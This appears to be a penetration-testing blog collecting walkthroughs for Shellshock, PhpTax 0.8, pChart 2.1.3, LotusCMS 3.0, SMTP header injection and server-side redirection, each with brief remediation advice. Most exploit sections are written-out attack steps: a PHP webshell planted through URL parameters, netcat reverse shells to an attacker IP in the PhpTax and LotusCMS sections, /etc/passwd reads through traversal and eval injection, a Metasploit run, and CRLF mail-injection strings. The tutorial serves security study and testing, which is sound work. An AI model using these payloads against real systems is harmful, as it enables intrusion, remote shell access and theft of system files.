VK9 Security

Vulnerability Shellshock – CVE-2014-6271

by | Feb 14, 2021 | Application

Shellshock is effectively a Remote Command Execution vulnerability in BASH. The vulnerability relies in the fact that BASH incorrectly executes trailing commands when it imports a function definition stored into an environment variable.

A lot of programs like SSH, telnet, CGI scripts allow bash to run in the background allowing the vulnerability to be exploited remotely over the network which makes it more scary. Shellshock can be exploited in

  • RCE via Apache with mod_cgi, CGI Scripts, Python, Perl
  • RCE on DHCP clients using Hostile DHCP Server
  • OpenSSH RCE/Privilege escalation

This vulnerability is exploitable via multiple vectors (DHCP, HTTP, SIP, FTP, and SMTP) and could allow an attacker to inject and execute arbitrary commands on a vulnerable system.

Affected versions

CVE-2014-7169 – GNU Bash through 4.3 bash43-025

CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7186, CVE-2014-7187 – GNU Bash through 4.3 bash43-026

Affected systems

The vulnerability affects versions 1.14 through 4.3 of GNU Bash.

  • GNU Bash 3.0
  • GNU Bash 3.1
  • GNU Bash 3.2
  • GNU Bash 4.0
  • GNU Bash 4.1
  • GNU Bash 4.2
  • GNU Bash 4.3

Variables

Bash supports environment variables. They contain information about your login session, stored for the system shell to use when executing commands.

  • env

Print, and add new variables

  • echo $PATH
  • export VK9=”Keep going”
  • echo $VK9

Bash Functions

1. Bash functions are blocks of code that can be used in .sh scripts to execute an instruction. These can be used as one line piece of code, interpreted by bash

  • name() { echo $Path; date; }
  • name

2. These functions can also be set as environment variables

  • export runthis=”() { echo \”Hey $USER, your are in a good track\”; date; }”
  • bash -c runthis

Test vulnerability

1. Check bash version

  • bash –version

2. A simple test to check if your Bash is vulnerable. (local test)

  • env var='() { ignore this;}; echo vulnerable’ bash -c /bin/true
  • env x='() { :;}; echo shellshocked’ bash -c “echo test”

The way this proof of concept works is that bash functions can be exported to environment variables. When code is added to the end of the function definition inside the variable, it gets executed when the shell is invoked (“bash -c”).

Remediation

Remediation is obviously going to be most successful by applying patches to affected systems. Check with relevant vendors for updated information. This is also an opportunity to review systems for unused services, like FTP, Telnet, and DCHPd, and disable them when they are not required.

 

PhpTax 0.8 – File Manipulation

by | Jan 12, 2021 | Web Exploitation

PhpTax is free software to do your U.S. income taxes. Tested under Unix environment. The program generates .pdfs that can be printed and sent to the IRS.

http://sourceforge.net/projects/phptax/

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability. User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file. An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

Field variable exploitation

https://www.exploit-db.com/exploits/25849

======================================

#index.php

#LINE 32: fwrite fwrite($zz, “$_GET[‘newvalue’]”);

#LINE 31: $zz = fopen(“./data/$field”, “w”);

#LINE 2: $field = $_GET[‘field’];

======================================

1. Access this page and modify the values as will

  • http://{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E
  • http://192.168.0.18:8080/phptax/index.php?field=rce.php&newvalue=<?php passthru($_GET[cmd]); ?>
  • http://192.168.0.18:8080/phptax/index.php?field=rce.php&newvalue=<?php system($_GET[cmd]); ?>
  • http://192.168.0.18:8080/phptax/index.php?field=rce.php&newvalue=<?php shell_exec($_GET[cmd]); ?>

2. Access the data directory to find the script

  • http://192.168.0.18:8080/phptax/data/

3. Locate and execute the script

  • http://192.168.0.18:8080/phptax/data/rce.php?cmd=id

4. Knowing that we can execute system commands, we could also run a reverse shell

  • http://192.168.0.18:8080/phptax/data/rce.php?cmd=nc%20-e%20/bin/bash%20192.168.0.13%204444
  • http://192.168.0.18:8080/phptax/data/rce.php?cmd=nc -e /bin/bash 192.168.0.13 4444

pfilez variable exploitation

https://www.exploit-db.com/exploits/21665

================================

drawimage.php, line 63:

include (“./files/$_GET[pfilez]”);

// makes a png image

$pfilef=str_replace(“.tob”,”.png”,$_GET[pfilez]);

$pfilep=str_replace(“.tob”,”.pdf”,$_GET[pfilez]);

Header(“Content-type: image/png”);

if ($_GET[pdf] == “”) Imagepng($image);

if ($_GET[pdf] == “make”) Imagepng($image,”./data/pdf/$pfilef”);

if ($_GET[pdf] == “make”) exec(“convert ./data/pdf/$pfilef ./data/pdf/$pfilep”);

================================

1. Access phptax home folder

  • http://192.168.0.18:8080/phptax/index.php

2. Open any existing report, as you can see the report has a pfilez variable filled

  • http://192.168.0.18:8080/phptax/index.php?pfilez=1040pg2.tob

3. Now we can inject the code to execute a reverse connection. (in this case I get the connection but immediately closes, so this is for demonstration only, may have to troubleshoot, but I’m lazy!!, we just need the proof of concept)

4. I even ran TCPDump to capture traffic

  • tcpdump -i wlan0 | grep 192.168.0.18

Note: We can also exploit drawimage.php, instead of index.php

Using Metasploit

1. Start Metasploit service and search for “phptax”

  • service postgresql start
  • msfdb init
  • msfconsole
  • search phptax

2. select the module and display the options

  • use exploit/multi/http/phptax_exec
  • show options

3. show and set the payload

  • show payloads
  • set payload cmd/unix/reverse
  • show options

4. Fill the options marked as “Required yes”

  • set RHOSTS 192.168.0.18:8080
  • set RPORT 8080 # in this case the app is using that port
  • set LHOST 192.168.0.13

5. (EXTRA) In this particular scenario, we need to spoof the user agent to mozilla4, as per the site configuration, this is not usually required.

  • set UserAgent Mozilla/4.0
  • show advanced

6. Now run the exploit

  • exploit

Note: I had to run it twice. The first time the session expired.

Remedy

Do some input validation.

Exploiting pChart 2.1.3 (Directory traversal & XSS)

by | Jan 11, 2021 | Web Exploitation

PHP library pChart 2.1.3 (and possibly previous versions) by default contains an examples folder, where the application is vulnerable to Directory Traversal and Cross-Site Scripting (XSS).

This has been taken from (https://www.exploit-db.com/exploits/31173)

Exploiting Directory Traversal

1. Visiting the application at (http://192.168.0.18/pChart2.1.3/examples/index.php), we get to the examples folder.

2. This tool can be exploited by entering the following data

  • http://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
  • http://192.168.0.18/pChart2.1.3/examples/index.php?Action=View&Script=/../../../../etc/passwd

3. Now we can start looking for config files, since this server is using Apache, so, I will read that. (Note: BSD apache config is located in /usr/local/etc/apache22/httpd.conf)

  • http://192.168.0.18/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf
  • http://192.168.0.18/pChart2.1.3/examples/index.php?Action=View&Script=/../../../../../usr/local/etc/apache22/httpd.conf

Note: This config file show the user agent permitted, “Mozilla4_browser”, and a virtual host on port 8080.

Directory Traversal remediation:

1) Update to the latest version of the software.

2) Remove public access to the examples folder where applicable.

3) Use a Web Application Firewall or similar technology to filter

malicious input attempts.

Exploiting XSS

This file uses multiple variables throughout the session, and most of them are vulnerable to XSS attacks. Certain parameters are persistent throughout the session and therefore persists until the user session is active. The parameters are unfiltered.

1. From a browser navigate to

  • http://192.168.0.18/pChart2.1.3/examples/sandbox/script/session.php

2. In there, just enter the following

  • session.php?<script>alert(‘Vry4n has been here.’)</script>
  • http://192.168.0.18/pChart2.1.3/examples/sandbox/script/session.php?%3Cscript%3Ealert(%27Vry4n%20has%20been%20here.%27)%3C/script%3E
  • http://192.168.0.18/pChart2.1.3/examples/sandbox/script/session.php?<script>alert(‘Vry4n has been here.’)</script>

Cross-Site Scripting remediation:

1) Update to the latest version of the software.

2) Remove public access to the examples folder where applicable.

3) Use a Web Application Firewall or similar technology to filter malicious input attempts.

 

LotusCMS 3.0 – ‘eval()’ Remote Command Execution

by | Jan 10, 2021 | Application

Lotus CMS is a content management system built using PHP as a programming language, created by a company called Vipana LLC. This CMS is no longer being developed or maintained by its team, so download the files to set up your own Lotus CMS demo might pose some security issues.

This time we will exploit a vulnerability found in Lotus CMS 3.0’s Router() function. This is done by embedding PHP code in the ‘page’ parameter, which will be passed to a eval call, therefore allowing remote code execution.

LotusCMS could allow a remote attacker to execute arbitrary code on the system, caused by improper validation of user-supplied input by the index.php script prior to being used in an being used in an eval() call. A remote attacker could exploit this vulnerability using the req and page parameters to inject and execute arbitrary PHP code on the system.

Affected Products
LotusCMS LotusCMS 3.0.3
LotusCMS LotusCMS 3.0.5

Score

Exploit

1. I identified a login page where I could see a log in page that indicated it was hosted on LotusCMS, this can also be located at “/lcms/” example: “/lcms/somepath/index.php?system=Admin”

2. I tested “/index.php?page=index”, it didn’t show me an error, so, the entry is valid.

3. Based on Exploit-db (https://www.exploit-db.com/exploits/18565), the post shows the code that exploits the vulnerability.

  • ‘);#{stub}#

4. Now that we know the code, and we identified the vulnerable parameter.

  • ‘);#{stub}#
  • “/index.php?page=index”

We will send a request to (http://192.168.0.16/index.php?page=index) and capture it with a proxy, I’ll be using BurpSuite

Note: Notice that this is a GET request, we need to change the request to POST method.

5. I send this to “Repeater” in Burp to modify the data

  • Right click -> Send to Repeater

6. Now right click on “Change Request Method”

7. Now that the method is set to POST we will inject the code in there

  • page=index’);${print(“vry4n has been here”)};#

8. In the response we will see the code printed

9. Now we will try to read some system files using the “readfile” php function

  • page=index’);${readfile(“/etc/passwd”)};#

10. The result is the “passwd” output

11. Now instead of “readfile” function, we will use system, to execute “whoami”

  • page=index’);${system(“whoami”)};#

12. Knowing that we can execute system commands, we will try to run a reverse shell. I would do netcat so first I will make sure netcat in present in the server.

  • page=index’);${system(“whereis nc”)};#

13. Now I will start the listener on my Kali machine

  • nc -lvp 4444

14. Now I will craft the code for the reverse connection

  • page=index’);${system(“nc -e /bin/bash 192.168.0.13 4444”)};#

15. We check our listener and we see the connection there

  • python -c ‘import pty; pty.spawn(“/bin/bash”)’
  • whoami

Remedy

Upgrade to the latest version of LotusCMS, available from the LotusCMS Web site.

References

https://exchange.xforce.ibmcloud.com/vulnerabilities/66135

https://packetstormsecurity.com/files/110558/LotusCMS-3.0-eval-Remote-Command-Execution.html

https://packetstormsecurity.com/files/122161/LotusCMS-3.0-PHP-Code-Execution.html

https://www.exploit-db.com/exploits/18565

 

SMTP Injection attack

by | Apr 8, 2020 | Web Exploitation

Mail Command Injection is an attack technique used to exploit mail servers and webmail applications that construct IMAP/SMTP statements from user-supplied input that is not properly sanitized. an attack technique that injects attacker-controlled SMTP commands into the data transmitted from an application (typically a web application) to an SMTP server for spamming purposes.

http://projects.webappsec.org/w/page/13246948/Mail%20Command%20Injection

IMAP/SMTP structure

  • Header: ending of the expected command;
  • Body: injection of the new command(s);
  • Footer: beginning of the expected command.

This behavior can be exploited to send copies of emails to third parties, attach viruses, deliver phishing attacks, and often alter the content of emails. It is typically exploited by spammers looking to leverage the vulnerable company’s reputation to add legitimacy to their emails.

Common uses of SMTP in websites

  • Submit messages via the application, such as to report a problem to support personnel
  • Provide feedback about the website.
  • This facility is usually implemented by interfacing with a mail (or SMTP) server.
  • Typically, user-supplied input is inserted into the SMTP.

How SMTP Works

To understand how SMTP works, you need to first understand the difference between the envelope and the email body.

  • The envelope is the initial part of the communication and it is part of the actual SMTP protocol.

The following commands are part of the envelope

  • MAIL FROM: This command sets the envelope sender. (focus on this)
  • RCPT TO: This command sets the envelope recipient. It can be used multiple times if you want the message to reach many people at once.
  • DATA: This command begins the email payload.

The payload contains email headers and the message body separated by a single empty line. (\n on most UNIX and Linux systems, \r\n on Windows systems)

The email headers are not part of the SMTP protocol. They are interpreted by the mail client (the web application & some email handling libraries in programming languages.)

> MAIL FROM:<mail@vk9sec.com>

< 250 OK

> RCPT TO: <john@vk9sec.com>

< 250 OK

> RCPT TO:<lucy@vk9sec.com>

< 250 OK

> DATA

< 354 Send message content; end with <CRLF>.<CRLF>

> Content-Type: text/html

> Date: Wed, 25 D 2020 00:00:01

> From: Bryan <vry4n@vk9sec.com>

> Subject: Are you on vacation?

> To: everyone <everyone@vk9sec.com >

>

> Hello!

> I didn’t see you online!

> —

> Bryan

> .

< 250 OK

The above email would be received by john@vk9sec.com and lucy@vk9sec.com. However, they would see that it was sent by Bryan <vry4n@vk9sec.com> (not mail@vk9sec.com) and they would see that the recipient is everyone <everyone@vk9sec.com>

“<CRLF>.<CRLF>” used to terminate data

“<CRLF>” used to separate the RCPT TO values

Normal value:

  • Rcpt to:vry4n@vk9sec.com

Injected:

  • Rcpt to:vry4n@vk9sec.com>[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]

the traditional attack vectors like the following

rcpt to: vryan@vk9sec.com[CRLF]Cc: johnnny@vk9sec.com

ASCII Character Set and Hexadecimal Values

https://www.cisco.com/c/en/us/td/docs/ios/12_4/cfg_fund/command/reference/cfnapph.html

46 2E . . .
10 0A LF Line feed Ctrl-J
13 0D CR Carriage return (Equivalent to the Enter or Return key) Ctrl-M
32 20 SP Space Space

%0d%0a = [CRLF]

Example

From=daf@vk9sec.com&Subject=Site+feedback%0d%0aSometext%0d%0a%2e%0d%0aMAIL+FROM:+mail@vk9sec.com%0d%0aRCPT+TO:+john@vk9sec.com%0d%0aDATA%0d%0aFrom:+mail@vk9sec.com%0d%0aTo:+john@vk9sec.com%0d%0aSubject:+Cheap+books%0d%0aHi There%0d%0a%2e%0d%0a&Message=hello

That will translate as

  • MAIL From=daf@vk9sec.com
  • Subject=Site feedback
  • Sometext
  • .
  • MAIL FROM: mail@vk9sec.com
  • RCPT TO: john@vk9sec.com
  • DATA
  • From: mail@vk9sec.com
  • To: john@vk9sec.com
  • Subject: Cheap books
  • Hi There
  • .
  • Hello
  • .

SMTP commands

HELO Specify your domain name so that the mail server knows who you are. E.g. HELO example.com
MAIL Specify the sender email. E.g. MAIL FROM: <example@example.com>
RCPT Specify the recipient. Issue this command multiple times if you have more than one recipient. E.g. RCPT TO: <example2@example.com>
DATA Issue this command before sending the body of the message. The message body must end with the following five letter sequence: “\r\n.\r\n.”
QUIT Terminates the conversation with the server.
EXPN Specify that your recipient is a mailing list.
HELP Asks for help from the mail server.
NOOP Does nothing except to get a response from the server.
RSET Aborts the current conversation and start a new conversation.
SEND Sends a message to a user’s terminal instead of a mailbox.
SAML Sends a message to a user’s terminal and to a user’s mailbox.
SOML Sends a message to a user’s terminal if they are logged on; otherwise, sends the message to the user’s mailbox.
TURN Reverses the role of client and server. This might be useful if the client program can also act as a server and needs to receive mail from the remote computer.
VRFY Verifies that a particular user name of a given mail address exists. Not supported by all mail servers.

Header injection

E-mail Header Injection can be considered as the e-mail equivalent of HTTP Header Injection. this vulnerability exists in the implementation of the built-in mail functionality in popular languages such as

PHP = mail()

[SP] = Space

[LF] = Line feed

[CR] = equivalent to “enter” new line

rcpt to=([CRLF][SP]RCPT TO:vry4n@vk9sec.com[CRLF][SP]DATA \[LF]Subject: spam10\[LF][CRLF][SP]Hello,this is a spam mail…\[LF].[CRLF][SP]QUIT[CRLF][SP]) john@vk9sec.com

Will show as

  • RCPT TO:<(
  • [SP]RCPT TO:vry4n@vk9sec.com
  • [SP]DATA\
  • Subject: spam10\
  • [SP]Hello, this is a spam mail…\
  • [SP]QUIT
  • [SP]) john@vk9sec.com>

The former command with a leading space is confirmed to be interpreted normally, and the latter command followed by backslash

Java = JavaMail API

  • rcpt to= “>[CRLF]RCPT TO:vry4n@vk9sec.com[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]”@vk9sec.com

Will show as

  • RCPT TO:<“>
  • RCPT TO:vry4n@vk9sec.com
  • DATA
  • (message content)
  • QUIT
  • “@vk9sec.com>

Python = email.header

Ruby = Net::SMTP, Mail

  • rcpt to:vry4n@vk9sec.com[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]

Since E-mail Header Injection is caused due to improper or nonexistent sanitization of user input.

The format of e-mail messages is defined by the Simple Mail Transfer Protocol (SMTP). Each e-mail message is represented by a series of headers separated by newlines, followed by the body content (separated from the headers by two newlines).

Header components

  • From
  • To
  • Date
  • Subject
  • CC
  • BCC, etc

With the proper injection string, E-mail Header Injection vulnerabilities can be exploited by an attacker to inject additional headers, modify existing headers, or alter the contents of the e-mail.

Result of compromise

  • An attacker can perform e-mail spoofing
  • Running phishing campaigns that are sent from the actual mail server
  • Spam Networks
  • Information Extraction
  • Denial of Service

Finding SMTP Injections flaws

1. You should submit each of the following test strings as each parameter in turn, inserting your own e-mail address at the relevant position

  • <youremail>%0aCc:<youremail>
  • <youremail>%0d%0aCc:<youremail>
  • <youremail>%0aBcc:<youremail>
  • <youremail>%0d%0aBcc:<youremail>
  • %0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+test%0afoo%0a%2e%0a
  • %0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a

2. Note any error messages the application returns. If these appear to relate to any problem in the e-mail function, investigate whether you need to fine-tune your input to exploit a vulnerability

3. The application’s responses may not indicate in any way whether a vulnerability exists or was successfully exploited. You should monitor the e-mail address you specified to see if any mail is received

4. Review closely the HTML form that generates the relevant request. This may contain clues about the server-side software being used. It may also contain a hidden or disabled field that specifies the e-mail’s To address, which you can modify directly.

Exploitation

1. Locate the email form

2. Here, users can specify a “From” address and the contents of the message. The application passes this input to the PHP mail() command, which constructs the e-mail and performs the necessary SMTP conversation with its configured mail server.

3. Utilize the application normally, to test functionality

  • To: bwapp@mailinator.com
  • From: vry4n@vk9security.com
  • Subject: Hello There

5. Capture the request with a web proxy, in this case BurpSuite, This is a benign request

This will cause the following

  • MAIL FROM: vry4n@vk9security.com
  • RCPT TO: bwapp@mailinator.com
  • DATA
  • From: vry4n@vk9security.com
  • To: bwapp@mailinator.com
  • Subject:
  • Hello There
  • .

6. Now capture a new request and inject a BCC, CC line using new line character “%0a” or “\n”

  • name=Vry4n+Unknown&email=vry4n%40vk9security.com%0d%0a bcc:bwapp%40mailinator.com&remarks=Hello+There&form=submit
  • name=Vry4n+Unknown%0d%0abcc:bwapp%40mailinator.com&email=vry4n%40vk9security.com&remarks=Hello+There&form=submit

This will make the mailing server to forward the request also to the injected address

Remediation: SMTP header injection

Validate that user input conforms to a whitelist of safe characters before placing it into email headers. In particular, input containing newlines and carriage returns should be rejected. Alternatively, consider switching to an email library that automatically prevents such attacks.

  • E-mail addresses should be checked against a suitable regular expression (which should, of course, reject any newline characters
  • The message subject should not contain any newline characters, and it may be limited to a suitable length
  • If the contents of a message are being used directly in an SMTP conversation, lines containing just a single dot should be disallowed

Server-side HTTP Redirection

by | Apr 7, 2020 | Web Exploitation

Server-side redirection vulnerabilities arise when an application takes user controllable input and incorporates it into a URL that it retrieves using a backend HTTP request.

Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html

Example

If no validation of the URL is specified in the “textfile” parameter, an attacker can specify an arbitrary hostname in place of textfiles.com.

The application retrieves the specified resource, allowing the attacker to use the application as a proxy to potentially sensitive back-end services.

The application response is google page

This vulnerability allows an attacker

  • An attacker may be able to use the proxy to attack third-party systems on the Internet. The malicious traffic appears to the target to originate from the server on which the vulnerable application is running.
  • An attacker may be able to use the proxy to connect to arbitrary hosts on the organization’s internal network, thereby reaching targets that cannot be accessed directly from the Internet.
  • An attacker may be able to use the proxy to connect back to other services running on the application server itself, circumventing firewall restrictions and potentially exploiting trust relationships to bypass authentication.
  • The proxy functionality could be used to deliver attacks such as cross-site scripting by causing the application to include attacker-controlled content within its responses

Steps to exploit this vulnerability

1. Identify any request parameters that appear to contain hostnames, IP addresses, or full URLs.

2. For each parameter, modify its value to specify an alternative resource, similar to the one being requested, and see if that resource appears in the server’s response

3. Try specifying a URL targeting a server on the Internet that you control, and monitor that server for incoming connections from the application you are testing.

4. If no incoming connection is received, monitor the time taken for the application to respond. If there is a delay, the application’s back-end requests may be timing out due to network restrictions on outbound connections.

5. If you are successful in using the functionality to connect to arbitrary URLs, try to perform the following attacks

  • Determine whether the port number can be specified. For example, you might supply http://mdattacker.net:22
  • If successful, attempt to port-scan the internal network by using a tool such as Burp Intruder to connect to a range of IP addresses and ports in sequence
  • Attempt to connect to other services on the loopback address of the application server
  • Attempt to load a web page that you control into the application’s response to deliver a cross-site scripting attack

Types of attacks

Header based

Header-based being a location-header sent from the server. The benefit with this, for an attacker’s perspective, is that the redirect always works even if Javascript is not interpreted. A server side function that gets a URL as input will follow the redirect and end up somewhere else.

Javascript based

When the redirect instead happens in Javascript it only works in scenarios where Javascript is actually executed. It might not work for server-side functions, but it will work in the victim’s web browser.

  • If the redirect happens in Javascript it might also be possible to cause a redirect to javascript:something(), which would be an XSS in itself.

Oauth

When you want to allow users to sign-up with external services, such as putting up a “Login with Facebook” or “Sign up with Google”-button you may choose to implement an Oauth-flow.

Remedy

Safe use of redirects and forwards can be done in a number of ways:

  • Simply avoid using redirects and forwards.
  • If used, do not allow the URL as user input for the destination.
  • Where possible, have the user provide short name, ID or token which is mapped server-side to a full target URL.
  • This provides the highest degree of protection against the attack tampering with the URL.
  • Be careful that this doesn’t introduce an enumeration vulnerability where a user could cycle through IDs to find all possible redirect targets
  • If user input can’t be avoided, ensure that the supplied value is valid, appropriate for the application, and is authorized for the user.
  • Sanitize input by creating a list of trusted URLs (lists of hosts or a regex).
  • This should be based on a white-list approach, rather than a blacklist.
  • Force all redirects to first go through a page notifying users that they are going off of your site, with the destination clearly displayed, and have them click a link to confirm.

Input Validation

When attempting to validate and sanitize user-input to determine whether the URL is safe, wherever possible you should use a built in library or function to parse the URLs, such as parse_url() in PHP, rather than rolling your own parser using regex. Additionally, make sure that you take the following into account:

  • Input starting with a / to redirect to local pages is not safe. //example.org is a valid URL.
  • Input starting with the desired domain name is not safe. https://example.org.attacker.com is valid.
  • Only allow HTTP(S) protocols. All other protocols, including JavaScript URIs such as javascript:alert(1) should be blocked, SSH, etc
  • Data URIs such as data:text/html,<script>alert(document.domain)</script> should be blocked
  • URIs containing CRLF characters can lead to header injection or response splitting attacks, and should be blocked.